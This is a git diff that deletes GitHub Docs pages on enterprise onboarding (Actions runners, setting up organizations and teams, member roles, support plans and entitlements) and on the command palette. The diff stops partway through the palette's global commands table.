help reduce the amount of repetitive code that you write in your **workflow** files. An action can pull your Git repository from {% data variables.product.prodname_dotcom %}, set up the correct toolchain for your build environment, or set up the authentication to your cloud provider. - -You can write your own actions, or you can find actions to use in your workflows in the {% data variables.product.prodname_marketplace %}. - -{% data reusables.actions.internal-actions-summary %} - -For more information on actions, see [AUTOTITLE](/actions/creating-actions). - -### Runners - -A **runner** is a server that runs your workflows when they're triggered. Each runner can run a single **job** at a time. -{% data variables.product.company_short %} provides Ubuntu Linux, Microsoft Windows, and macOS runners to run your **workflows**. Each workflow run executes in a fresh, newly-provisioned virtual machine. - -{% data variables.product.prodname_dotcom %} also offers {% data variables.actions.hosted_runner %}s, which are available in larger configurations. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/using-larger-runners). - -If you need a different operating system or require a specific hardware configuration, you can host your own runners. - -For more information about self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners). - -## Next steps - -Next, learn about planning a rollout of {% data variables.product.prodname_actions %} in your enterprise. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). diff --git a/content/enterprise-onboarding/index.md b/content/enterprise-onboarding/index.md deleted file mode 100644 index 3d6bc985f23d..000000000000 --- a/content/enterprise-onboarding/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Enterprise onboarding -intro: 'Learn how to successfully onboard your company to {% data variables.product.prodname_ghe_cloud %}.' -introLinks: - overview: '{% ifversion ghec %}/enterprise-onboarding/getting-started-with-your-enterprise{% endif %}' - try_ghec_for_free: '{% ifversion ghec %}https://github.com/account/enterprises/new?ref_cta=GHEC+trial&ref_loc=enterprise+administrators+landing+page&ref_page=docs{% endif %}' -featuredLinks: - startHere: - - '{% ifversion ghec %}/enterprise-onboarding/getting-started-with-your-enterprise{% endif %}' - - '{% ifversion ghec %}/enterprise-onboarding/setting-up-organizations-and-teams{% endif %}' - - '{% ifversion ghec %}/enterprise-onboarding/support-for-your-enterprise{% endif %}' - popular: - - '{% ifversion ghec %}/enterprise-onboarding/github-actions-for-your-enterprise{% endif %}' - - '{% ifversion ghec %}/enterprise-onboarding/feature-enhancements{% endif %}' -layout: product-landing -versions: - ghec: '*' - ghes: '*' -topics: - - Administrator - - Enterprise - - Set up -children: - - /getting-started-with-your-enterprise - - /setting-up-organizations-and-teams - - /support-for-your-enterprise - - /github-actions-for-your-enterprise - - /feature-enhancements ---- diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise.md deleted file mode 100644 index 7d787a1df817..000000000000 --- a/content/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Best practices for organizations in your enterprise -intro: 'Learn how to structure your enterprise and organizations for the best developer experience.' -versions: - ghec: '*' -type: how_to -topics: - - Organizations - - Enterprise -shortTitle: Best practices ---- - -There are multiple options for structuring the organizations within your enterprise. Each approach has pros and cons, and the best structure for your enterprise depends on the characteristics and needs of your business, including size and security constraints. -We recommend aligning your strategy with the culture you want to create, not the culture you currently have. If you want to advance in terms of collaboration and innersourcing, structure your tools accordingly. Then, your tools can assist you in the cultural change instead of acting as a blocker. - -This article summarizes key points from {% data variables.product.company_short %}'s recommendations. For more details, see the [Further reading](#further-reading) section. - -## Minimize the number of organizations - -In general, {% data variables.product.company_short %} recommends minimizing the number of organizations you create. - -* Members of an organization can **find resources and communicate** easily, which fosters a **collaborative environment**. -* It's always easier to add organizations than to remove them, so we recommend **starting with a small number** of organizations, which gives you more flexibility in the future. -* Removing organizations is much more **difficult**, often requiring migrations and a reduction in flexibility that teams have gotten used to. - -## When are multiple organizations required? - -Some customers will require multiple organizations. - -* The main benefit of creating multiple organizations is the ability to **configure separate policies, settings, and requirements** for each. -* Organization owners always have access to all repositories owned by the organization. If your company is large enough that **no single owner should have access to all repositories**, consider creating multiple organizations. -* We recommend creating and enforcing fixed and transparent **rules for creating a new organization** in your enterprise. This will make it easier for everyone to understand the purpose of each organization and which assets are located where. - -Different customers have succeeded with different setups for numbers of organizations and access permissions within them. To explore options, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise#about-organizational-structure). - -## Best practices within organizations - -Within each organization in your enterprise, you should encourage organization owners to follow best practices. -* **Add multiple owners**: If an organization only has one owner, the organization's projects can become inaccessible if the owner is unreachable. To ensure that no one will lose access to a project, we recommend that at least two people within each organization have the owner role. -* **Use teams**: Teams allow you to manage permissions, code ownership, and notifications for groups of people. If you use an identity provider (IdP) for authentication, we highly recommend managing team membership through your IdP. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams). -* **Collaborate in organization-owned repositories**: Where possible, minimize collaboration in user-owned repositories. Organization-owned repositories have more sophisticated security and administrative features, and they remain accessible even as enterprise membership changes. - -## Further reading - -* [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise#about-organizational-structure) -* [Best practices for organizations and teams using GitHub Enterprise Cloud](https://github.blog/enterprise-software/devops/best-practices-for-organizations-and-teams-using-github-enterprise-cloud/) on {% data variables.product.prodname_blog %} -* [Strategies for using organizations in GitHub Enterprise Cloud](https://resources.github.com/learn/pathways/administration-governance/essentials/strategies-for-using-organizations-github-enterprise-cloud/) on {% data variables.product.github %} Resources - -## Next steps - -Now that you have started creating organizations, adding members, and managing access, learn how to get help when you need it with {% data variables.contact.github_support %}. See [AUTOTITLE](/enterprise-onboarding/support-for-your-enterprise/understanding-support). diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams.md deleted file mode 100644 index b20fe6eaf951..000000000000 --- a/content/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Creating teams -intro: 'Use teams to manage permissions, notifications, and code ownership in your organizations.' -versions: - ghec: '*' -shortTitle: Create teams -type: how_to -permissions: Organization owners can create teams and control whether all organization members can also create teams. -topics: - - Organizations - - Enterprise ---- - -## About teams - -You can use teams to manage access for people in an organization. Teams are groups of organization members that reflect your company's structure with cascading access permissions. - -Teams can: - -* Have admin, read, or write **access** to organization repositories -* Receive **notifications** when the team's name is mentioned or when someone requests a review from the team -* Be designated as **owners** of certain files in a CODEOWNERS file -* Be made **"secret"** to hide membership from other members -* Be synced with an **identity provider** group to manage membership centrally -* Be **children or parents** of other teams, allowing permissions and notifications to be inherited - -For more information, see See [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) and [AUTOTITLE](/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization). - -## Creating a team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.new_team %} -{% data reusables.organizations.team_name %} -{% data reusables.organizations.team_description %} -{% data reusables.organizations.create-team-choose-parent %} -{% ifversion ghec %} -1. Optionally, if your organization or enterprise account uses team synchronization or your enterprise uses {% data variables.product.prodname_emus %}, connect an identity provider group to your team. - * If your enterprise uses {% data variables.product.prodname_emus %}, use the "Identity Provider Groups" drop-down menu, and select a single identity provider group to connect to the new team. For more information, [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - * If your organization or enterprise account uses team synchronization, under "Identity Provider Groups," select the **Select Groups** dropdown menu, and click up to five identity provider groups to connect to the new team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). -{% endif %} -{% data reusables.organizations.team_visibility %} -{% data reusables.organizations.team-notifications %} -{% data reusables.organizations.create_team %} -1. Optionally, give the team access to organization repositories. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -## Next steps - -Next, learn about best practices for structuring your organizations and teams. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/best-practices-for-organizations-in-your-enterprise). diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/index.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/index.md deleted file mode 100644 index f50d3e52f6f5..000000000000 --- a/content/enterprise-onboarding/setting-up-organizations-and-teams/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Setting up organizations and teams in your enterprise -intro: 'Learn how to add and manage organizations and teams in your enterprise.' -versions: - ghec: '*' -topics: - - Accounts - - Enterprise - - Set up -shortTitle: Set up organizations and teams -children: - - /setting-up-an-organization - - /managing-organization-members - - /managing-your-organizations - - /creating-teams - - /best-practices-for-organizations-in-your-enterprise ---- diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members.md deleted file mode 100644 index 09d89a8661bb..000000000000 --- a/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Managing organization members -intro: 'Learn how to give users access to organizations and repositories in your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Organizations - - Enterprise -shortTitle: Manage organization members ---- - -## About roles in an organization - -To perform any actions on {% data variables.product.github %}, a person must have sufficient access to the relevant account or resource. This access is controlled by permissions. A permission is the ability to perform a specific action, such as changing billing settings for the organization. A role is a set of permissions you can assign to individuals or teams. - -In your enterprise's organizations, you can give roles to individuals or teams to allow them to manage the organization's settings or contribute to the organization's repositories. - -Organization owners have full administrative access to the organization. To ensure that no one will lose access to a project, we recommend that each organization has at least two owners. As an organization owner, you can change the role of other organization members and owners. You can't change your own role. - -## Types of organization roles - -Every user you add to an organization has a **membership type** (owner, member, or billing manager) which determines the user's base set of permissions in the organization. For example: - - * An organization **owner** can access all organization settings. - * An organization **member** can create repositories but not change any organization settings. - -In addition to the membership type, you can assign users and teams additional **roles** which give users more permissions in the organization and its repositories. - -Depending on the level of control you need, you can grant users: - -* A **pre-defined role** that {% data variables.product.company_short %} provides, which can include access to organization settings and blanket access to repositories. For example: "All-repository write." -* A **custom role** where you define your own set of organization and repository permissions. - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) and [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -## Adding users to organizations - -How you add users to organizations depends on whether you are using {% data variables.product.prodname_emus %}. - -* If you're **not** using {% data variables.product.prodname_emus %}: - * You will send an invite to users' personal accounts, asking them to join the organization. See [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). - * As an alternative, if the organization uses SAML SSO, you can manage membership from your SSO provider using SCIM. See [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). -* If you **are** using {% data variables.product.prodname_emus %}: - * First, you will add users to the enterprise from your identity provider using SCIM. - * Then, you can either add users to organizations directly, or link identity provider (IdP) groups to teams within organizations, which will automatically add users to organizations. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups). - -Once you have added a user to the organization, you can grant them a specific role. - ->[!TIP] You can also add users directly to repositories in an organization without giving them organization membership. This is called the "outside collaborator" or "repository collaborator" role, depending on whether you use {% data variables.product.prodname_emus %}. See [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization). - -## Next steps - -Next, learn best practices for managing your organizations. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations). diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations.md deleted file mode 100644 index 1906026936ed..000000000000 --- a/content/enterprise-onboarding/setting-up-organizations-and-teams/managing-your-organizations.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Managing your organizations -intro: 'Learn how to manage your organizations in your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Organizations - - Enterprise -shortTitle: Manage organizations ---- - -## Best practices for organizations in an enterprise - -There are multiple options for structuring the organizations within your enterprise. Each approach has pros and cons, and the best structure for your enterprise depends on the characteristics and needs of your business, including size and security constraints. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise). - -## Adding organizations to your enterprise - -There are three ways to add organizations to your enterprise. - -* **Create** a new organization in your enterprise. -* **Invite** an existing organization to join your enterprise. -* **Transfer** an existing organization between enterprise accounts. - -Adding existing organizations to your enterprise is not possible if you use {% data variables.product.prodname_emus %}. Existing organizations from an enterprise with managed users cannot be added to a different enterprise, and organizations cannot be transferred from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.enterprise.data_residency_site %}. - -To learn how to create a new organization, invite an existing organization, or transfer an existing organization, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). - -## Managing your role in an organization - -You can choose to join an organization owned by your enterprise as a member or as an organization owner, change your role within the organization, or leave the organization. See [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). - -## Removing an organization from your enterprise - -You can remove an organization that is owned by your enterprise account, so the organization stands alone. To learn more about what happens when an organization is removed, and how to remove an organization in the web interface, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). - -## Next steps - -After setting up an organization and adding members, you can create teams in the organization to manage permissions, notifications, and code ownership for groups of people. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/creating-teams). diff --git a/content/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization.md b/content/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization.md deleted file mode 100644 index 7d6efaaf6cc7..000000000000 --- a/content/enterprise-onboarding/setting-up-organizations-and-teams/setting-up-an-organization.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Setting up an organization -intro: 'Learn how to set up an organization in your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Organizations - - Enterprise -shortTitle: Set up an organization ---- - -During a trial, there are two ways to add organizations to your enterprise. - -* **Create** a new organization in your enterprise, or -* **Invite** an existing organization to join your enterprise. - -If you chose an enterprise with {% data variables.product.prodname_emus %}, it is not possible to invite an existing organization. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise) - -## Creating a new organization - -New organizations you create within your enterprise account settings are included in your enterprise account's {% data variables.product.prodname_ghe_cloud %} subscription. - -Enterprise owners who create an organization owned by the enterprise account automatically become organization owners. See [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). - -During a trial of {% data variables.product.prodname_ghe_cloud %}, you can create up to three new organizations in your enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{%- ifversion enterprise-readme %} -1. In the left sidebar, click **Organizations**. -{%- endif %} -1. Above the list of organizations, click **New organization**. -1. Under "Organization name", type a name for your organization. -1. Click **Create organization**. -1. Optionally, under "Invite owners", type the username of a person you'd like to invite to become an organization owner, then click **Invite**. -1. Click **Finish**. - -## Inviting an existing organization - -Enterprise owners can invite existing organizations to join their enterprise account. - -During a trial of {% data variables.product.prodname_ghe_cloud %}, you can invite organizations to join your trial enterprise. You can invite organizations that are not currently owned by another enterprise. If an organization you want to invite is already owned by another enterprise, you cannot invite it to your trial enterprise. - -After you invite the organization, and before an owner approves the invitation, you can cancel or resend the invitation at any time. - -{% data reusables.enterprise-accounts.access-enterprise %} -{%- ifversion enterprise-readme %} -{% data reusables.enterprise-accounts.click-organizations-tab %} -{%- endif %} -1. Above the list of organizations, click **Invite organization**. -1. Under "Organization name", start typing the name of the organization you want to invite and select it when it appears in the dropdown list. -1. Click **Invite organization**. The organization owners will receive an email inviting them to join the enterprise. -1. After an organization owner has approved the invitation, navigate back to the **Organizations** tab of the enterprise settings. -1. Under "Organizations", click **X pending**. -1. To complete the transfer, next to the organization name, click **Approve**. - -## Next steps - -After you create or add an organization to your enterprise, learn how to manage organization members. See [AUTOTITLE](/enterprise-onboarding/setting-up-organizations-and-teams/managing-organization-members). diff --git a/content/enterprise-onboarding/support-for-your-enterprise/index.md b/content/enterprise-onboarding/support-for-your-enterprise/index.md deleted file mode 100644 index af0e232895da..000000000000 --- a/content/enterprise-onboarding/support-for-your-enterprise/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Creating a support model for your enterprise -intro: 'Learn about {% data variables.product.github %} support and how to set up a support model for your enterprise.' -allowTitleToDifferFromFilename: true -versions: - ghec: '*' -topics: - - Enterprise - - Set up - - Support -shortTitle: Create a support model -children: - - /understanding-support - - /using-the-support-portal - - /managing-support-entitlements ---- diff --git a/content/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements.md b/content/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements.md deleted file mode 100644 index d4c776abc927..000000000000 --- a/content/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: 'Managing support entitlements' -intro: 'Learn how to manage support entitlements for your enterprise.' -versions: - ghec: '*' -allowTitleToDifferFromFilename: true -type: how_to -topics: - - Enterprise - - Set up - - Support -shortTitle: Manage support entitlements ---- - -## About support entitlements - -People with support entitlements for your enterprise account can use the support portal to open, view, and comment on support tickets associated with the enterprise account. - -Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to a limited number of enterprise members. -* **{% data variables.product.premium_support_plan %}:** Up to 20 members -* **{% data variables.product.premium_plus_support_plan %}:** Up to 40 members - -## Adding support entitlements - -To add a support entitlement to a user, the user must already be a member of an organization that is owned by your enterprise. - ->[!NOTE] After you add a support entitlement, the enterprise member may need to sign out from {% data variables.contact.contact_landing_page_portal %}, then sign in again, before they can manage tickets. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under "Settings", click **Support**. -1. In the search bar, start typing the name or username of the person you want to give a support entitlement. Click their name in the list of matches. -1. Click **Add support entitlement**. - -## Removing entitlements - -You can manually remove support entitlements for enterprise members provided they are not enterprise owners or billing managers. - -To learn how to remove support entitlements, see [Removing a support entitlement from an enterprise member](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise#removing-a-support-entitlement-from-an-enterprise-member). - -## Next steps - -Next, learn how you can automate your enterprise's software development cycle and improve productivity with {% data variables.product.prodname_actions %}. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/about-github-actions-for-enterprises). diff --git a/content/enterprise-onboarding/support-for-your-enterprise/understanding-support.md b/content/enterprise-onboarding/support-for-your-enterprise/understanding-support.md deleted file mode 100644 index b9e1337f6198..000000000000 --- a/content/enterprise-onboarding/support-for-your-enterprise/understanding-support.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'Understanding enterprise support' -shortTitle: Understand enterprise support -intro: 'Learn about the various {% data variables.contact.github_support %} offerings available to you.' -versions: - ghec: '*' -allowTitleToDifferFromFilename: true -type: overview -topics: - - Enterprise - - Set up - - Support ---- - -## About {% data variables.contact.github_support %} - -Standard {% data variables.contact.github_support %} is provided as part of your {% data variables.product.prodname_enterprise %} subscription and offers a comprehensive set of support and management features tailored for large businesses and teams. See [AUTOTITLE](/support/learning-about-github-support/about-github-support). - -{% data variables.product.prodname_enterprise %} customers can also purchase {% data variables.contact.premium_support %}. - -### About {% data variables.contact.premium_support %} - -{% data variables.contact.premium_support %} is a **paid**, supplemental support offering that is ideal for organizations requiring higher priority support, faster response times, dedicated account management, and 24/7 comprehensive support. In addition to all of the benefits of standard {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers: - -* 24/7 availability: Ensures that support is available at any time, day or night, including holidays, which is crucial for organizations operating globally or with mission-critical applications. - -* Faster response and resolution times: Accelerated response times for support requests mean that critical issues are addressed and resolved more quickly, minimizing downtime and disruption. - -* Escalation management: Dedicated escalation management ensures that complex issues are addressed promptly and efficiently, with a clear path for escalating critical incidents. - -* Early access to new features: Participation in beta programs and early access to new features allows you to stay ahead of the curve with the latest {% data variables.product.github %} innovations. - -There are two support plans available with {% data variables.contact.premium_support %}: - -* **{% data variables.product.premium_support_plan %}**: Includes priority ticket handling, access to premium content, and more. - -* **{% data variables.product.premium_plus_support_plan %}/{% data variables.product.microsoft_premium_plus_support_plan %}**: Includes all Premium Plan benefits plus additional features such as named Customer Reliability Engineer (CRE), quarterly enhanced health checks, technical advisory hours, and application upgrade assistance. - -For detailed information about {% data variables.contact.premium_support %} and the two support plans, see [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support). - -## Contacting {% data variables.contact.github_support %} - -To contact {% data variables.contact.github_support %}, visit the {% data variables.contact.contact_landing_page_portal %}. For more information, see [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket). - -Anyone can use the {% data variables.contact.contact_landing_page_portal %} to view and manage support tickets about {% data variables.product.prodname_dotcom %}, but there are special steps to follow before using the {% data variables.contact.contact_landing_page_portal %} to create tickets about an enterprise account. See [AUTOTITLE](/support/contacting-github-support/getting-your-enterprise-started-with-the-github-support-portal). - -## Next steps - -Next, learn how to get started with the support portal. See [AUTOTITLE](/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal). diff --git a/content/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal.md b/content/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal.md deleted file mode 100644 index f741d2fef79a..000000000000 --- a/content/enterprise-onboarding/support-for-your-enterprise/using-the-support-portal.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: 'Using the support portal' -shortTitle: Support portal -intro: 'Learn how to access the support portal for your enterprise.' -allowTitleToDifferFromFilename: true -versions: - ghec: '*' -type: how_to -topics: - - Enterprise - - Set up - - Support ---- - -## About the {% data variables.contact.enterprise_portal %} for enterprises - -Anyone can use the {% data variables.contact.contact_landing_page_portal %} to view and manage support tickets about {% data variables.product.prodname_dotcom %}, but there are special steps to follow before using the {% data variables.contact.contact_landing_page_portal %} to create tickets about an enterprise account. - -The {% data variables.contact.enterprise_portal %} offers single sign-on (SSO) connected to your {% data variables.product.prodname_dotcom %} account. - -## Getting started with the {% data variables.contact.enterprise_portal %} - -Before you start creating tickets associated with your enterprise account on {% data variables.product.prodname_dotcom_the_website %}, we recommend completing the following steps. - -1. Identify the user on {% data variables.product.prodname_dotcom_the_website %} who is an owner of your enterprise account. -1. Configure a verified domain. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). -1. Add owners, billing managers, or support-entitled members to your enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) and [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). - -## Next steps - -Next, learn how to manage support entitlements for your enterprise. See [AUTOTITLE](/enterprise-onboarding/support-for-your-enterprise/managing-support-entitlements). diff --git a/content/get-started/accessibility/github-command-palette.md b/content/get-started/accessibility/github-command-palette.md deleted file mode 100644 index 2da3f760fd99..000000000000 --- a/content/get-started/accessibility/github-command-palette.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: GitHub Command Palette -intro: 'Use the command palette to navigate, search, and run commands directly from your keyboard.' -versions: - feature: command-palette -shortTitle: GitHub Command Palette -redirect_from: - - /get-started/using-github/github-command-palette ---- - -{% data reusables.command-palette.beta-note %} - -{% data reusables.command-palette.default %} - -## About the {% data variables.product.prodname_command_palette %} - -You can navigate, search, and run commands on {% data variables.product.github %} with the {% data variables.product.prodname_command_palette %}. The command palette is an on-demand way to show suggestions based on your current context and resources you've used recently. You can open the command palette with a keyboard shortcut from anywhere on {% data variables.product.github %}, which saves you time and keeps your hands on the keyboard. - -### Fast navigation - -When you open the command palette, the suggestions are optimized to give you easy access from anywhere in a repository, personal account, or organization to top-level pages like the Issues page. If the location you want isn't listed, start entering the name or number for the location to refine the suggestions. - -![Screenshot of the command palette. The "Issues" and "Pull requests" pages for the current repository are suggested.](/assets/images/help/command-palette/command-palette-navigation-repo-default.png) - -### Easy access to commands - -The ability to run commands directly from your keyboard, without navigating through a series of menus, may change the way you use {% data variables.product.prodname_dotcom %}. For example, you can switch themes with a few keystrokes, making it easy to toggle between themes as your needs change. - -![Screenshot of the command palette. "switch theme to dark" is in the command palette input, and results for changing your theme are displayed.](/assets/images/help/command-palette/command-palette-command-change-theme.png) - -## Opening the {% data variables.product.prodname_command_palette %} - -Open the command palette using one of the following default keyboard shortcuts: -* Windows and Linux: Ctrl+K or Ctrl+Alt+K -* Mac: Command+K or Command+Option+K - -You can customize the keyboard shortcuts you use to open the command palette in the [Accessibility section](https://github.com/settings/accessibility) of your user settings. For more information, see [Customizing your {% data variables.product.prodname_command_palette %} keyboard shortcuts](#customizing-your-github-command-palette-keyboard-shortcuts). - -When you open the command palette, it shows your location at the top left and uses it as the scope for suggestions (for example, the `octo-org` organization). - -![Screenshot of the command palette. "octo-org" is highlighted with an orange outline.](/assets/images/help/command-palette/command-palette-launch.png) - -> [!NOTE] -> * If you are editing Markdown text, open the command palette with Ctrl+Alt+K (Windows and Linux) or Command+Option+K (Mac). -> * If you are working on a {% data variables.projects.project_v2 %}, a project-specific command palette is displayed instead. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view). - -### Customizing your {% data variables.product.prodname_command_palette %} keyboard shortcuts - -The default keyboard shortcuts used to open the command palette may conflict with your default OS and browser keyboard shortcuts. You have the option to customize your keyboard shortcuts in the [Accessibility section](https://github.com/settings/accessibility) of your account settings. In the command palette settings, you can customize the keyboard shortcuts for opening the command palette in both search mode and command mode. - -## Navigating with the {% data variables.product.prodname_command_palette %} - -You can use the command palette to navigate to any page that you have access to on {% data variables.product.github %}. - -{% data reusables.command-palette.open-palette %} - -1. Start typing the path you want to navigate to. The suggestions in the command palette change to match your text. - -{% data reusables.command-palette.change-scope %} - - You can also use keystrokes to narrow your search. For more information, see [Keystroke functions](#keystroke-functions). - -1. Finish entering the path, or use the arrow keys to highlight the path you want from the list of suggestions. - -1. Use Enter to jump to your chosen location. Alternatively, use Ctrl+Enter (Windows and Linux) or Command+Enter (Mac) to open the location in a new browser tab. - -## Searching with the {% data variables.product.prodname_command_palette %} - -You can use the command palette to search for anything on {% data variables.product.prodname_dotcom %}. - -{% data reusables.command-palette.open-palette %} - -{% data reusables.command-palette.change-scope %} - -1. Optionally, use keystrokes to find specific types of resource: - - * # Search for issues, pull requests, discussions, and projects - * ! Search for projects - * @ Search for users, organizations, and repositories - * / Search for files within a repository scope - -1. Begin entering your search terms. The command palette will offer you a range of suggested searches based on your search scope. - - > [!TIP] - > You can also use the full syntax of {% data variables.product.prodname_dotcom %}'s integrated search within the command palette. For more information, see [AUTOTITLE](/search-github). - -1. Use the arrow keys to highlight the search result you want and use Enter to jump to your chosen location. Alternatively, use Ctrl+Enter (Windows and Linux) or Command+Enter (Mac) to open the location in a new browser tab. - -## Running commands from the {% data variables.product.prodname_command_palette %} - -You can use the {% data variables.product.prodname_command_palette %} to run commands. For example, you can create a new repository or issue, or change your theme. When you run a command, the location for its action is determined by either the underlying page or the scope shown in the command palette. - -* Pull request and issue commands always run on the underlying page. -* Higher-level commands, for example, repository commands, run in the scope shown in the command palette. - -For a full list of supported commands, see [{% data variables.product.prodname_command_palette %} reference](#github-command-palette-reference). - -1. The default keyboard shortcuts to open the command palette in command mode are Ctrl+Shift+K (Windows and Linux) or Command+Shift+K (Mac). If you already have the command palette open, press > to switch to command mode. {% data variables.product.prodname_dotcom %} suggests commands based on your location. - -{% data reusables.command-palette.change-scope %} - -1. If the command you want is not displayed, check your scope then start entering the command name in the text box. - -1. Use the arrow keys to highlight the command you want and use Enter to run it. - -## Closing the command palette - -When the command palette is active, you can use one of the following keyboard shortcuts to close the command palette: - -* Search and navigation mode: Esc or Ctrl+K (Windows and Linux) Command+K (Mac) -* Command mode: Esc or Ctrl+Shift+K (Windows and Linux) Command+Shift+K (Mac) - -If you have customized the command palette keyboard shortcuts in the Accessibility settings, your customized keyboard shortcuts will be used for both opening and closing the command palette. - -## {% data variables.product.prodname_command_palette %} reference - -### Keystroke functions - -These keystrokes are available when the command palette is in navigation and search modes, that is, they are not available in command mode. - -| Keystroke | Function | -| :- | :- | -|>| Enter command mode. For more information, see [Running commands from the {% data variables.product.prodname_command_palette %}](#running-commands-from-the-github-command-palette). | -|#| Search for issues, pull requests, discussions, and projects. For more information, see [Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette).| -|@| Search for users, organizations, and repositories. For more information, see [Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette).| -|/| Search for files within a repository scope or repositories within an organization scope. For more information, see [Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette). | -|!| Search just for projects. For more information, see [Searching with the {% data variables.product.prodname_command_palette %}](#searching-with-the-github-command-palette).| -|Ctrl+C or Command+C| Copy the search or navigation URL for the highlighted result to the clipboard.| -|Enter| Jump to the highlighted result or run the highlighted command.| -|Ctrl+Enter or Command+Enter| Open the highlighted search or navigation result in a new browser tab.| -|?| Display help within the command palette.| - -### Global commands - -These commands are available from all scopes. - -| Command | 